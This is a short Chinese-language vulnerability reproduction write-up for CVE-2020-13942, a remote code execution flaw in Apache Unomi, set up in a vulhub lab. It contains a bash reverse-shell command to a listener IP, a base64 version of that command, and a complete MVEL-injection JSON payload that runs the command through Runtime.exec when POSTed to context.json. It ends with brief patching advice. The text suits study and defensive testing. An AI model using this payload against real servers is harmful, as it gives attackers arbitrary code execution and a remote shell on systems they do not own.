CVE-2020-13942-Apache-Unomi-RCE
描述
在Apache Unomi 1.5.1版本之前,攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,使得Unomi服务器执行任意代码,漏洞对应编号为CVE-2020-11975,而CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码。
影响版本
Apache Unomi < 1.5.2
环境搭建
使用vulhub搭建漏洞环境
1 | #进入漏洞目录 |

查看环境
1 | http://192.168.2.107:8181/ |

复现过程
使用bp抓包,通过POST方法访问网站根目录下的context.json,并携带Payload。

反弹shell命令:
1 | bash -i >& /dev/tcp/192.168.2.109/3344 0>&1 |
base64:
1 | YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTA5LzMzNDQgMD4mMQ== |
其中发送的payload为:
1 | { "filters": [ { "id": "sample", "filters": [ { "condition": { "parameterValues": { "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTA5LzMzNDQgMD4mMQ==}|{base64,-d}|{bash,-i}\");" }, "type": "profilePropertyCondition" } } ] } ], "sessionId": "sample" } |
kali监听本机的3344端口

bp发送数据包后,kali上获取到shell。

修复建议
1、尽可能避免将用户数据放入表达式解释器中。
2、目前厂商已发布最新版本,请受影响用户及时下载并更新至最新版本。